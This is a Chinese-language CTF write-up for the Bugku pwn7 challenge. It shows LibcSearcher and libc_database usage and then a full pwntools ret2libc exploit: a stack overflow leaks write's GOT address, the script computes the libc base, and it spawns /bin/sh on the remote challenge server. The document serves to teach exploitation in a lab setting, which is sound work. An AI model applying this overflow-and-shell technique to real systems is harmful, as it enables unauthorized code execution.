前言:
继续PWN的学习,今天整理一下绕过NX,同时libc本地不存在需要通过相应函数泄露地址的方式进行进行溢出。
本题工具介绍:
-
LibcSearcher
一个基于libc_database写的python库,可以通过泄露的函数实际地址查找对应的libc版本。
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")
本题 通过write函数实际地址找到远程的libc,然后dump出其他函数的offset。
-
libc_database
./add 用来添加libc库
./add /usr/lib/libc-2.21.so
./find 用来查找libc版本
$ ./find printf 260
archive-glibc (id libc6_2.19-10ubuntu2_i386)
./dump 用来输出libc中的一些函数的偏移
$ ./dump libc6_2.19-0ubuntu6.6_i386
offset___libc_start_main_ret = 0x19a83
offset_system = 0x00040190
offset_dup2 = 0x000db590
offset_recv = 0x000ed2d0
offset_str_bin_sh = 0x160a24
本题找到远程加载的libc版本后使用此工具dump出其他函数的offset。
题目:(new bugku pwn7)
检查程序详细信息,发现为32bit,开启着NX,同时 RELRO: Partial RELRO。
放入IDA中静态分析,发现read()危险函数,主函数有write函数:
此题目思路:使用wirte函数泄露出(wirte/__libc_start_main)等实际地址,查找对应的libc动态链接库,通过此库查找系统函数的偏移,计算相应的实际地址,溢出即可。构造payload如下:
from pwn import *
context.log_level = "debug"
#p = process('./pwn7')
p = remote('114.116.54.89',10007)
elf = ELF('./pwn7')
write_plt = elf.plt['write']
write_got = elf.got['write']
print write_got
libc_start_main_got = elf.got['__libc_start_main']
main_addr = 0x0804846B
offset_write = 0x000d43c0
offset_system = 0x0003a940
offset_str_bin_sh = 0x15902b
payload = 'A' * 40 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendlineafter('plz input your name:\n',payload)
write_addr = u32(p.recv(4))
libc_base = write_addr - offset_write
sys_addr = libc_base + offset_system
sh_addr = libc_base + offset_str_bin_sh
payload = 'A' * 40 + p32(sys_addr) + 'nEIP' + p32(sh_addr)
p.sendline(payload)
p.interactive()
脚本运行结果如下:
注:常用的32bit带参溢出的方式中会使用4byte代替PUSH EIP来骗过CPU,但是此软件要通过溢出泄露出write函数的实际地址后继续溢出,那么就需要将返回地址填充想要继续执行的指令的地址;
针对本地的调用wirte@plt函数,在构造参数的时候是p32(1) + p32(write_got) +p32(4)作为write函数的参数,其中“1”表示的是标准输出,而0代表标准输入。“4”代表4字节。
总结:
- 关于绕过NX的方式:
- 软件有system函数的直接用;
- 程序自带libc,直接elf.symbols['system'] elf.search(''/bin/sh)或使用one_gadgat构造ROP链;
- 需要泄露远端libc版本,一般使用puts/write泄露地址,计算基地址。